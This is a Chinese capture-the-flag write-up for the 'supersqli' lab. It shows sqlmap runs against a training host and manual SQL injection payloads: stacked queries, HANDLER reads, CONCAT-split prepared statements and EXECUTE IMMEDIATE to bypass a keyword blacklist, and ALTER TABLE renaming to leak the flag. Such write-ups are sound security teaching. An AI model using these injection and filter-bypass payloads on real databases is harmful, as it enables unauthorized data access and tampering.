2025.1.16——三、supersqli 绕过|堆叠注入|handler查询法|预编译绕过法|修改原查询法
题目来源:攻防世界supersqli
目录
一、打开靶机,整理已知信息
查看源码,发现一句话:用sqlmap是没有灵魂的。所以可以先用sqlmap跑一下,然后尝试手工注入
二、sqlmap解题
step 1:爆数据库
python sqlmap.py -u http://61.147.171.105:49439/?inject=1 -dbs
得到数据库名supersqli
step 2:爆表
python sqlmap.py -u http://61.147.171.105:49439/?inject=1 -D supersqli --tables
这里没有给出结果,所以sqlmap没办法继续了。到这里只得到数据库名为supersqli
二、手工注入解题
step 1:判断注入类型
键入:1、1''、1‘ and '1'='1 #
回显正常
键入:1'
报错了
说明此处存在注入点,且为字符型注入
step 2:判断字段数
键入:1 order by 2 #
回显正常
键入:1' order by 3 #
报错了
所以字段数为2
step 3:查询数据库
1' union select 1,2 #
显示被过滤掉了
- select:用于从数据库中查询数据的 SQL 语句关键字。
- update:用于更新数据库中表的数据的 SQL 语句关键字。
- delete:用于从数据库表中删除数据的 SQL 语句关键字。
- drop:用于删除数据库对象(如表、视图等)的 SQL 语句关键字。
- insert:用于向数据库表中插入新数据的 SQL 语句关键字。
- where:用于在 SQL 语句中指定查询、更新、删除等操作的条件。
- i的意思为以上关键字都不区分大小写,意为不能用大小写绕过
所以不能正常的sql注入
step 4:使用堆叠注入查数据库、表
堆叠注入:多条SQL语句用分号隔开,均执行
1.查数据库
1';show databases;#
猜测flag在supersqli表里
2.查表
1';use supersqli;show tables;#
得到两个表:1919810931114514、words
3.查列
1';use supersqli;show columns from `1919810931114514`;#
当表名是纯数字字符串的时候需要加反引号`
看到老朋友flag了
4.查具体数据
前面看到select也被过滤了,所以不能有普通的查询方法
(1)handler查询法
handler语句是MySQL专用语句,可以一行一行的浏览一个表中的数据。
1.句柄(handle)相当于指针,是一个广义的指针
2.命令
(1)打开句柄:handler 表名 open;
(2)查看数据:handler 表名 read first\next; 以此推荐
1';use supersqli;handler `1919810931114514` open as p;handler p read first;#
第二条命令意为打开1919810931114514并命名为p;第三条意为打开并阅读p中第一条数据
(2)预编译绕过法
预编译绕过法
1.预编译语句是一种预处理SQL语句的技术,允许我们定义和编译SQL语句,在每次执行SQL查询时只需传递参数即可。即SQL查询会被MySQL进行编译依次,然后可以多次执行
select会被过滤,所以要用预编译来绕过过滤
1';
set @sql = CONCAT('sele','ct flag from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;#
解释:
第二条语句意为使用concat函数拼接为一个完整SQL语句并赋值给变量@sql
第三条语句则为预编译SQL语句:prepare语句用于准备一个SQL语句,将变量@sql中的SQL语句进行预编译,并将编译后的语句命名为stmt
第四条语句即为执行stmt语句
目的为获取flag
set和prepare被strster函数过滤掉了,但该函数不区分大小写,所以修改一下
1';
Set @sql = CONCAT('sele','ct flag from `1919810931114514`;');
Prepare stmt from @sql;
EXECUTE stmt;#
得到flag
(3)修改原查询法
原理就是没有过滤掉alter,可用alter将字段flag改为1,然后查询1,得到flag
先找一下查询1的时候处于哪张表(之前得到有两张表:1919810931114514、words)
1';show columns from words;#
可得查询1时默认的数据库就是supersqli,这个在sqlmap中也可得到验证
继续看word表里的字段
1';handler words open as a;handler a read next;#
得到一样的信息,所以原查询就在表words的字段id里面
注:这里上下两张表是因为堆叠注入的作用,两个语句都被执行了
修改原查询的核心:1919810931114514表和words表的构成相同,id字段和flag字段对应,int(10)字段和varchar(100)字段对应
所以将表1919810931114514名字改为words,将flag列改为id
payload:
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
解释:第三条语句是将表words中flag列名改为id,并将该列的数据类型设置为varchar(50)
(4)EXECUTE IMMEDIATE
execute immediate语句:允许执行动态构建的SQL语句
查询表中字段的值,用execute immediate语句绕过黑名单 select
1';execute immediate concat('sele','ct flag from `1919810931114514`') #
原理:字符串拼接,在程序中拼接成完整的SQL语句,不触发黑名单检查
原文地址:https://blog.csdn.net/2402_87387800/article/details/145200531
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!